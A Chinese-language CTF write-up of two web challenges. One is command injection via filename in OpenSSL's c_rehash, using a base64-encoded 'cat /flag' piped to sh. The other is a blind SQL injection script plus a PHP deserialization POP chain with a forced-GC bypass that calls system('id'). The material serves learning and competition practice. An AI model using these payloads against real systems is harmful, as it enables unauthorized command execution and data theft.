online_crt–(done)

放一放最后拿 flag 截图

代码审计

c_rehash 有漏洞,利用点是 filename
是一个 cve 漏洞
找到的 b 站视频讲解
https://www.bilibili.com/video/BV1P54y1Z7S6/?spm_id_from=333.788.videocard.8
但是没说清楚利用点在哪,最后看一下参数名字叫做fname。发现和前面看到的rename对应上,所以猜测指的是filename

  • 8887 端口可以 rename 文件名,只要传参正确(当时试了好久才传对 x

首先是CRLF 绕过,然后是绕过

1
c.Request.URL.RawPath != ""

对 admin 后的/url 编码成%2f

通过 postman 进行传参

1
2
3
4
5
6
7
8
9
/admin%2frename?oldname=ee1e4958-8a4c-41e4-9df0-2184ed017a8c.crt&newname=a%2Ecrt%22%26%20echo%20%22Y2F0IC9mbGFn%22%20%7C%20base64%20%2Dd%20%7C%20sh%22 HTTP/1.1
Host: admin
User-Agent: Guest
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close


GET /

rename 成功,会给回显

$fname = ‘a.crt”& echo “Y2F0IC9mbGFn” | base64 -d | sh”‘
(使用 base64 是因为:多次尝试发现文件名无法传入 /
原因可能是:1.crt||cat /flag可能会变成文件夹,rename 失败,直接 return)

拼接到下面

1
my ($hash, $fprint) = `"$openssl" crl $crlhash -fingerprint -noout -in a.crt"& echo "Y2F0IC9mbGFn" | base64 -d | sh"`;

Ezpentest(菜狗复现)

比赛时放了两个 hint,根本就没看到呀。
如果看到了,我应该会想起虎符的那道 sql 的

可惜了,我是菜狗

0x01 SQL 注入

题目给了两个 hint,都是关于这一步的 sql 注入捏

waf 是这样的,会让人想到虎符 2022 的那道ezsql

1
2
3
4
5
6
7
<?php
function safe($a) {
$r = preg_replace('/[\s,()#;*~\-]/','',$a);
$r = preg_replace('/^.*(?=union|binary|regexp|rlike).*$/i','',$r);
return (string)$r;
}
?>

不一样的地方是多过滤了:
regexp rlike ~
拿虎符大佬们的 payload 来改一改就可以用了

1
2
3
payload={ 'password':'xxx',
'username':f"'||case`password`regexp'^{flag+temp}'COLLATE'utf8mb4_bin'when'1'then~0+1+''else'0'end||'"
}

mysql — like % 模糊查询

  • %:表示任意 0 个或多个字符。可匹配任意类型和长度的字符
  • _: 表示任意单个字符。匹配单个任意字符
    • 常用来限制表达式的字符长度语句
  • [ ]:表示括号内所列字符中的一个 - 指定一个字符、字符串或范围,要求所匹配对象为它们中的任一个
    regrep'^{flag+temp}' 替换成 like'{}%'
1
2
3
4
5
'||case`password`regexp'^{flag+temp}'COLLATE'utf8mb4_bin'when'1'then~0+1+''else'0'end||'

前后对比

xxx'||case'1'when`password`like'{}%'COLLATE`utf8mb4_0900_bin`then+9223372036854775807+1+''else'1'end||'xxx

而且,对于这种匹配,一些特殊字符要进行反斜杠注释

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
for ascii in 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789^!?$':
temp=ascii
if(temp in '^!?$'):
temp="\\\\\\"+temp


black_list = ",()#;*~\-'"
while True:
    for j in range(33, 128):
        if chr(j) in black_list:
            continue

        if j == 95 or j == 37: # chr(95) => '_'
            y = '\\' + chr(j) # chr(37) => '%'
        else:
            y = chr(j)

注入脚本搁这了(虽然不可能是我自己写的.jpg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
import requests

burp0_url = "http://1.14.71.254:28843/login.php"

burp0_cookies = {"PHPSESSID": "2kkgp0036snjurd71desk4mr90", "__jsluid_h": "dd80fe7c3cfe65e11fe52da5fcfc1991"}
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:100.0) Gecko/20100101 Firefox/100.0", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", "Accept-Language": "zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded", "Origin": "http://eci-2zebelhabwvwjvw18er6.cloudeci1.ichunqiu.com", "Connection": "close", "Referer": "http://eci-2zebelhabwvwjvw18er6.cloudeci1.ichunqiu.com/", "Upgrade-Insecure-Requests": "1"}

# flag = 'nssctfwabbybaboo!@$%!!'
# flag = 'PAssw40d_Y0u3_Never_Konwn!@!!'
flag = ''
black_list = ",()#;*~\-'"

while True:
for j in range(33, 128):
if chr(j) in black_list:
continue

if j == 95 or j == 37: # chr(95) => '_'
y = '\\' + chr(j) # chr(37) => '%'
else:
y = chr(j)
burp0_data = {
"username": "xxx'||case'1'when`password`like'{}%'COLLATE`utf8mb4_0900_bin`then+9223372036854775807+1+''else'1'end||'xxx".format(
flag + y),
"password": "aaa"}
res = requests.post(burp0_url, headers=burp0_headers, cookies=burp0_cookies, data=burp0_data)
print chr(j) + " : " + str(res.status_code)
if res.status_code == 500:
if j == 95 or j == 37:
flag += '\\' + chr(j)
else:
flag += chr(j)
print flag
break
if j == 127:
print flag.replace("\\", '')
exit(0)

0x02 php 反混淆

注入出账号密码(账号密码好复杂呀
登陆进去

有两个 php 文件
这里建议用curl把网站信息拉下来,更方便

html 里面有关于混淆的提示,说的是

< ?php /_ PHP Encode by  https://Www.PHPJiaMi.Com/ _/ ………..

github 上可以找到解密脚本https://github.com/wenshui2008/phpjiami_decode

反混淆之后的脚本,发现这个就是

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
session_start();
if(!isset($_SESSION['login'])){
die();
}
function Al($classname){
include $classname.".php";
}

if(isset($_REQUEST['a'])){
$c = $_REQUEST['a'];
$o = unserialize($c);
if($o === false) {
die("Error Format");
}else{
spl_autoload_register('Al');
$o = unserialize($c);
$raw = serialize($o);
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
$o = unserialize($raw);
var_dump($o);
}
}else {
echo file_get_contents("SomeClass.php");
}

1Nd3x_Y0u_N3v3R_Kn0W.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
<?php
class A
{
public $a;
public $b;
public function see()
{
$b = $this->b;
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){
if(isset($b->a)&&isset($b->b)){
($b->a)($b->b."");
}
}
}
}
class B
{
public $a;
public $b;
public function __toString()
{
$this->a->see();
return "1";
}
}
class C
{
public $a;
public $b;
public function __toString()
{
$this->a->read();
return "lock lock read!";
}
}
class D
{
public $a;
public $b;
public function read()
{
$this->b->learn();
}
}
class E
{
public $a;
public $b;
public function __invoke()
{
$this->a = $this->b." Powered by PHP";
}
public function __destruct(){
//eval($this->a); ??? 吓得我赶紧把后门注释了
//echo "???";
die($this->a);
}
}
class F
{
public $a;
public $b;
public function __call($t1,$t2)
{
$s1 = $this->b;
$s1();
}
}
?>

接下来就剩两个 php 文件来反序列化了

0x03 php 反序列化

0x01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
function Al($classname){
    include $classname.".php";
}
......
$c = $_REQUEST['a'];
$o = unserialize($c);
spl_autoload_register('Al');
$o = unserialize($c);
$raw = serialize($o);
if(preg_match("/Some/i",$raw)){
throw new Error("Error");
}
$o = unserialize($raw);
var_dump($o);
  • spl_autoload_register('Al');
    • 将函数 Al 当做 __autoload 时调用的函数
    • 当使用尚未被定义的类(class)接口(interface) 时自动去加载

首先,题目肯定是要 include SomeClass.php
所以得尝试绕过函数 preg_match("/Some/i",$raw)

有点忘了反序列化的函数啥功能了,得重新补回来

0x02 强制 GC 自动销毁机制

经过仔细 debug,把 SomeClass.php 中die($this->a);写成echo(this->$a);

强制 GC 这么神奇,在 vscode 调了一下午,可算给我整不会了

1
2
3
4
5
<?php
include "SomeClass.php";
$a = 'a:2:{i:0;O:9:"SomeClass":1:{s:1:"a";O:1:"E":2:{s:1:"a";O:1:"B":2:{s:1:"a";O:1:"A":2:{s:1:"a";N;s:1:"b";C:11:"ArrayObject":59:{x:i:0;a:0:{};m:a:2:{s:1:"a";s:6:"system";s:1:"b";s:2:"id";}}}s:1:"b";N;}s:1:"b";N;}}i:0;i:0;}';
$b = unserialize($a);
var_dump($b);
  • 包含外部含 class 的文件后
  • $b = unserialize($a)
    • 会直接进入销毁阶段,从而调用__deconstruct
  • var_dump($b)这时候,$b已经没有东西了,变成了这个样子array(1) { [0]=> int(0) } - 啊哈,所以这样直接调用die(),不会被后面的检测 Some 给查到

    使用一个 array 数组,数据的第一部分为SomeClass类,在后面填塞脏数据1
    因为在反序列化时是由内而外的,也就是先反序列化属性然后把他们拼在一起。
    这里反序列化了 SomeClass 类后,对于后面的脏数据无法反序列化成功,导致强制 GC 了(直接把这个内容销毁了)
    这时候已经反序化成功的 SomeClass 就会执行__destruct从而获得 flag

  • 叠数组 array,0=>$class, 1=>0
  • 再把反序列化数据中对应的array[1]=0改成array[0]=0,和前面重复

0x03 pop 链构造

1
2
$checker = new ReflectionClass(get_class($b));
if(basename($checker->getFileName()) != 'SomeClass.php'){

先给类 A 中的ReflectionClass::getFileName给解释一下:

  • 也就是说:如果$b不能是一个 SomeClass.php 里面定义的类
  • 应该使用一个外部类
  • 而且得可以对这个类中定义两个变量,一个 a,一个 b
    pop 链构造也就三段而已,挺简单的,主要是前面的绕过比较扯蛋
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
class SomeClass{
}
$e = new E();
$a = new A();
$b = new B();
$e->a = $b;
$b->a = $a;
$arr = new ArrayObject();
$arr->a = "system";
$arr->b = "id";
$arr->c = "sdfasdfasd";
$a->b = $arr;
$c = new SomeClass();
$c->a = $e;
echo str_replace("i:1;", "i:0;", serialize(array($c,1))); #强制GC

最后 payload

1
a:2:{i:0;O:9:"SomeClass":1:{s:1:"a";O:1:"E":2:{s:1:"a";O:1:"B":2:{s:1:"a";O:1:"A":2:{s:1:"a";N;s:1:"b";C:11:"ArrayObject":85:{x:i:0;a:0:{};m:a:3:{s:1:"a";s:6:"system";s:1:"b";s:2:"id";s:1:"c";s:10:"sdfasdfasd";}}}s:1:"b";N;}s:1:"b";N;}}i:0;i:0;}